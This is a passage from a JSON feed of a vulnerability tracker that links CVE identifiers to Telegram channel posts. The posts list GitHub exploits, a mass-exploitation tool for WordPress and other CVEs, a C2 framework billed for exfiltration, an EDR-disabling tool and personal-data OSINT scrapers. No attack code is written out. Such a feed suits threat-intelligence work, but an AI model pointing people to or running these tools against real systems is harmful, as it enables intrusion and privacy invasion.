that logs any changes to an Instagram account (followers, following, posts, and bio)\n\nhttps://github.com/ibnaleem/instatracker\n\n#HackersFactory", "creation_timestamp": "2024-11-21T07:58:58.000000Z"}, {"uuid": "974de219-acdd-460b-b01e-ce6a359b9cd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7419", "content": "Tools\u00a0 - Hackers Factory \n\nScrcpy 2.7, just released, supports game controllers \ud83c\udfae\n\nhttps://github.com/Genymobile/scrcpy/releases/tag/v2.7\n\nPre-Auth Exploit for CVE-2024-40711\n\nhttps://github.com/watchtowrlabs/CVE-2024-40711\n\nRemote Kerberos Relay made easy! Advanced Kerberos Relay Framework\n\nhttps://github.com/CICADA8-Research/RemoteKrbRelay\n\nScan for secrets, endpoints, and other sensitive data after decompiling and deobfuscating Android files.\u00a0 \n\nhttps://github.com/LucasFaudman/apkscan\n\nCLI tools for forensic investigation of artifacts \n\nhttps://github.com/dfir-dd/dfir-toolkit\n\nCobalt Strike - Malleable C2 Profiles. A collection of profiles used in different projects using Cobalt Strike\n\nhttps://github.com/xx0hcd/Malleable-C2-Profiles\n\nUnleashed ffuf\n\nhttps://github.com/sw33tLie/uff\n\nTools for searching emails for a specific domain\n\nhttp://github.com/Josue87/EmailFinder\n\nhttp://github.com/GiJ03/Infoga\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-09-17T09:02:44.000000Z"}, {"uuid": "9f9aa399-14e1-44c6-afdf-32797ccf01c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7276", "content": "Tools - Hackers Factory \n\nApepe - Mobile application\u00a0 pentesting\n\nApepe is a Python tool developed to help pentesters and red teamers to easily get information from the target app. This tool will extract basic informations as the package name, if the app is signed and the development language...\n\ngithub.com/oppsec/Apepe\n\nBest App For Sql Injection\n\nhttps://github.com/darknethaxor/DH-HackBar\n\nBBRF-Client: The Bug Bounty Reconnaissance Framework (BBRF) can help you coordinate your reconnaissance workflows across multiple devices.\n\nhttps://github.com/honoki/bbrf-client/\n\nCVE-2024-40348 \n\nThis is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\nhttps://github.com/bigb0x/CVE-2024-40348\n\nIt is a free and open-source tool used for image steganography, specifically for extracting hidden data from images. \n\nhttps://github.com/spipm/Depix \n\nDiscover more subdomains during your recon by extracting subdomains from TLS certificates. Integrate Cero into your recon automation for better results.\n\nhttps://github.com/glebarez/cero\n\nCRLFsuite - CRLF injection scanner \n\nThe most powerful CRLF injection (HTTP Response Splitting) scanner.\u00a0 \nhttps://github.com/Raghavd3v/CRLFsuite\n\nFound a subdomain running on Symfony debug mode. \n\nhttps://github.com/synacktiv/eos to get PHP variables and a lot more. \n\nTrying to find Origin IP check out this tool created to find IP behind WAF\nhttps://github.com/mmarting/unwaf \n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-13T01:42:51.000000Z"}, {"uuid": "5252e38c-7552-413d-bd07-f6dc400975f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7009", "content": "Tools - Hackers Factory \n\nAmoloHT/TTWAF: \u300c\ud83e\uddf1\u300dTest a list of payloads and see if you can bypass it.\n\nhttps://github.com/AmoloHT/TTWAF\n\nOWASP/www-project-netryx: Next level Java web security framework. \n\nhttps://github.com/OWASP/www-project-netryx\n\nPrivFu/TokenAssignor at main daem0nc0re/PrivFu.\n\nhttps://github.com/daem0nc0re/PrivFu/tree/main/TokenAssignor\n\nRPISEC/MBE: Course materials for Modern Binary Exploitation by RPISEC\n\nhttps://github.com/RPISEC/MBE\n\nBigb0x/CVE-2024-40348: POC for CVE-2024-40348. Will attempt to read /etc/passwd from target\n\nhttps://github.com/bigb0x/CVE-2024-40348\n\nPumpbin/pumpbin: \ud83c\udf83 PumpBin is an Implant Generation Platform.\n\nhttps://github.com/pumpbin/pumpbin\n\nBellingcat/name-variant-search: A tool for searching common variations of a human name\n\nhttps://github.com/bellingcat/name-variant-search\n\nMegadose/nqntnqnqmb: Allows you to retrieve information on linkedin profiles, companies on linkedin and search on linkedin companies/persons\n\nhttps://github.com/megadose/nqntnqnqmb\n\nThis cheat sheet contains common enumeration and attack methods for Windows Active Directory with the use of powershell.\n\nhttps://github.com/drak3hft7/Cheat-Sheet---Active-Directory\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-24T08:32:41.000000Z"}, {"uuid": "0bb49b8d-5383-4225-810e-ae59c1e8b406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7003", "content": "Tools - Hackers Factory \n\nSimple tool for searching and collect information written in Python 3\n\nhttps://github.com/YouVBeenHacked/gideon/tree/09c3e17864a5d6ceead8558f119560c4861d7a6f\n\nlawndoc/Respotter: Respotter is a Responder honeypot! Catch attackers and red teams as soon as they spin up Responder in your environment.\n\nhttps://github.com/lawndoc/Respotter\n\na13xp0p0v/kernel-hardening-checker: A tool for checking the security hardening options of the Linux kernel\n\nhttps://github.com/a13xp0p0v/kernel-hardening-checker\n\nELMERIKH/TelecordC2: Advanced Telegram x Discord C2, great for data Exfitration and Network evasion\n\nhttps://github.com/ELMERIKH/TelecordC2\n\nA chrome/Firefox extension to retrieve and load react javascript chunks all at once for a wide range of javascript techs\n\nhttps://github.com/ElSicarius/chunkloader\n\nToutatis\n\nhttps://github.com/megadose/toutatis - a tool for collecting info about an Instagram user (that include part of phone number and email).\n\nCVE-2024-40725 and CVE-2024-40898\n\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\nMass Exploit - CVE-2024-29824 - Ivanti EPM - Remote Code Execution (RCE)\n\nhttps://github.com/codeb0ss/CVE-2024-29824-PoC\n\nFile-Tunnel : Tunnel TCP connections through a file.\n\nhttps://github.com/fiddyschmitt/File-Tunnel\n\nhttps://t.me/CyberDilara\n#CyberDilara", "creation_timestamp": "2024-07-23T06:18:24.000000Z"}, {"uuid": "7565c54d-e3dd-4029-80da-5e40bd4ebc2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7750", "content": "#GitHub #Tools\n\nThis Python application is an OSINT (Open Source Intelligence) tool called \"Ominis OSINT - Web Hunter.\" It performs online information gathering by querying Google for search results related to a user-inputted query. The tool extracts relevant information such as titles, URLs, and potential mentions of the query in the results.\n\nhttps://github.com/AnonCatalyst/Ominis-Osint\n\nExploit CVE-2024-40725 (Apache httpd) \n\nhttps://github.com/soltanali0/CVE-2024-40725\n\nHere is the full tool. This BOF can be used to identify processes that hold handles to a given file. This can be useful to identify which process is locking a file on disk.\n\nhttps://github.com/Octoberfest7/enumhandles_BOF\n\nProof-of-concept shellcode loaders that leverage AI/ML primitives in C/C++ and Rust to do some shenanigans prior to shellcode detonation.\n\nhttps://github.com/0xTriboulet/T-1\n\nPendingFileRenameOperations + Junctions EDR Disable\n\nhttps://github.com/rad9800/FileRenameJunctionsEDRDisable\n\n#HackersForum", "creation_timestamp": "2024-12-19T04:14:17.000000Z"}, {"uuid": "c8c699a1-57b5-4491-be45-58892167bdc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7003", "content": "Tools - Hackers Factory \n\nSimple tool for searching and collect information written in Python 3\n\nhttps://github.com/YouVBeenHacked/gideon/tree/09c3e17864a5d6ceead8558f119560c4861d7a6f\n\nlawndoc/Respotter: Respotter is a Responder honeypot! Catch attackers and red teams as soon as they spin up Responder in your environment.\n\nhttps://github.com/lawndoc/Respotter\n\na13xp0p0v/kernel-hardening-checker: A tool for checking the security hardening options of the Linux kernel\n\nhttps://github.com/a13xp0p0v/kernel-hardening-checker\n\nELMERIKH/TelecordC2: Advanced Telegram x Discord C2, great for data Exfitration and Network evasion\n\nhttps://github.com/ELMERIKH/TelecordC2\n\nA chrome/Firefox extension to retrieve and load react javascript chunks all at once for a wide range of javascript techs\n\nhttps://github.com/ElSicarius/chunkloader\n\nToutatis\n\nhttps://github.com/megadose/toutatis - a tool for collecting info about an Instagram user (that include part of phone number and email).\n\nCVE-2024-40725 and CVE-2024-40898\n\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\nMass Exploit - CVE-2024-29824 - Ivanti EPM - Remote Code Execution (RCE)\n\nhttps://github.com/codeb0ss/CVE-2024-29824-PoC\n\nFile-Tunnel : Tunnel TCP connections through a file.\n\nhttps://github.com/fiddyschmitt/File-Tunnel\n\nhttps://t.me/CyberDilara\n#CyberDilara", "creation_timestamp": "2024-07-23T06:18:24.000000Z"}, {"uuid": "ffcb74a3-52f8-40b8-ab84-83b1c1839936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40422", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1539", "content": "", "creation_timestamp": "2024-09-06T22:33:27.000000Z"}, {"uuid": "ee2b1c92-465f-4e51-8031-1acc917d0807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1653", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-12-18T18:01:34.000000Z"}, {"uuid": "6bf456b8-0101-4c36-9541-7c4289f8f516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1634", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-11-30T13:27:14.000000Z"}, {"uuid": "e9c71d44-e30c-4e1b-96bd-a11b25869855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1615", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-10-18T12:25:41.000000Z"}, {"uuid": "31decaa5-1a38-4bfa-8987-a5a73b83d2c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1602", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-09-13T16:57:01.000000Z"}, {"uuid": "aa879c29-7eb8-42dc-87d7-c80b536c7a0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1580", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-08-31T13:09:22.000000Z"}, {"uuid": "c4c80965-e0d3-4418-bd55-55c5cbf890dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1554", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-08-30T06:52:02.000000Z"}, {"uuid": "d5ef32cb-3315-4613-881c-9e6f73ed844d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1531", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-09-07T05:42:04.000000Z"}, {"uuid": "941a4e7d-f560-406d-b2b2-9739e90c303a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1520", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2024-09-07T05:42:04.000000Z"}, {"uuid": "30fde7ab-6be9-4034-8272-3d103a64bdbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1516", "content": "", "creation_timestamp": "2024-09-07T05:42:04.000000Z"}, {"uuid": "b0bb4d60-79e9-4052-a84e-1e6c917e8cfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/TheMalware_Team/159058", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-24T22:29:42.000000Z"}, {"uuid": "0ad900fd-d539-40aa-8dc6-40a600d67913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/TheMalware_Team/159058", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-24T22:29:42.000000Z"}, {"uuid": "28fd783c-bb39-4879-afd9-002e315f8557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "Telegram/JV0n6pLsOT6VJZsgrEwvOevCq5yhBWTCVGtt_7W2JJuNFjI", "content": "", "creation_timestamp": "2024-09-05T17:15:55.000000Z"}, {"uuid": "225914bd-a3ce-4ea5-aaea-f37799dc9ae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/CyberSecurityIL/55923", "content": "\u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd \u05d1-Veeam Backup & Replication (VBR)? \n\u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 \u05dc\u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d4\u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 \u05dc\u05dc\u05d0 \u05d4\u05d6\u05d3\u05d4\u05d5\u05ea.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 CVE-2024-40711, \u05e4\u05e8\u05d8\u05d9\u05dd \u05e0\u05d5\u05e1\u05e4\u05d9\u05dd \u05db\u05d0\u05df.\n\nhttps://t.me/CyberSecurityIL/5718\n\n#\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea", "creation_timestamp": "2024-09-05T17:18:44.000000Z"}, {"uuid": "095c8595-97b8-46c0-9bab-2ddb2c59707d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40585", "type": "seen", "source": "Telegram/8lnH4SAKcJljNLo4qBVehFRbGjpB-8sFSyZCEFzGNm2VGGg", "content": "", "creation_timestamp": "2025-02-11T18:36:20.000000Z"}, {"uuid": "ca0eb726-5171-42c9-a180-f0716b255104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/CyberSecurityIL/43564", "content": "\u05e9\u05ea\u05d9 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05de\u05e0\u05d5\u05e6\u05dc\u05d5\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\"\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d1\u05e2\u05d5\u05dc\u05dd \u05d5\u05db\u05d3\u05d0\u05d9 \u05dc\u05e9\u05d9\u05dd \u05d0\u05dc\u05d9\u05d4\u05df \u05dc\u05d1:\n\n- \u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1\u05e9\u05e8\u05ea\u05d9 CrushFTP \u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 - CVE-2024-4040 (\u05de\u05d1\u05d3\u05d9\u05e7\u05d4 \u05e7\u05e6\u05e8\u05d4 \u05d1\u05e9\u05d5\u05d3\u05d0\u05df \u05e0\u05e8\u05d0\u05d4 \u05e9\u05d9\u05e9 \u05db\u05de\u05d4 \u05e9\u05e8\u05ea\u05d9\u05dd \u05d1\u05d5\u05d3\u05d3\u05d9\u05dd \u05d1\u05d9\u05e9\u05e8\u05d0\u05dc)\n\n- \u05d7\u05d5\u05dc\u05e9\u05d4 SQLi \u05d1\u05e4\u05dc\u05d0\u05d2\u05d9\u05df WP Automatic \u05d4\u05de\u05e9\u05de\u05e9 \u05d0\u05ea\u05e8\u05d9\u05dd \u05d4\u05e2\u05d5\u05e9\u05d9\u05dd \u05e9\u05d9\u05de\u05d5\u05e9 \u05d1\u05e4\u05dc\u05d8\u05e4\u05d5\u05e8\u05de\u05ea \u05d5\u05d5\u05e8\u05d3\u05e4\u05e8\u05e1 - CVE-2024-27956. \u05d0\u05dd \u05d0\u05ea\u05dd \u05e2\u05d5\u05e9\u05d9\u05dd \u05e9\u05d9\u05de\u05d5\u05e9 \u05d1\u05e4\u05dc\u05d0\u05d2\u05d9\u05df \u05d0\u05d6 \u05ea\u05d6\u05d3\u05e8\u05d6\u05d5 \u05dc\u05e2\u05d3\u05db\u05df \u05dc\u05d2\u05e8\u05e1\u05d4 \u05d4\u05d0\u05d7\u05e8\u05d5\u05e0\u05d4.\n\nhttps://t.me/CyberSecurityIL/5052\n\n#\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea", "creation_timestamp": "2024-04-25T20:40:42.000000Z"}, {"uuid": "0c6feeb4-3b7e-46d1-9b2a-61ba6fb17749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/true_secator/6311", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Sophos X-Ops \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043c\u0443\u0434\u0430\u043a\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Akira \u0438 Fog.\n\n\u0411\u0430\u043d\u0434\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430\u0446\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c 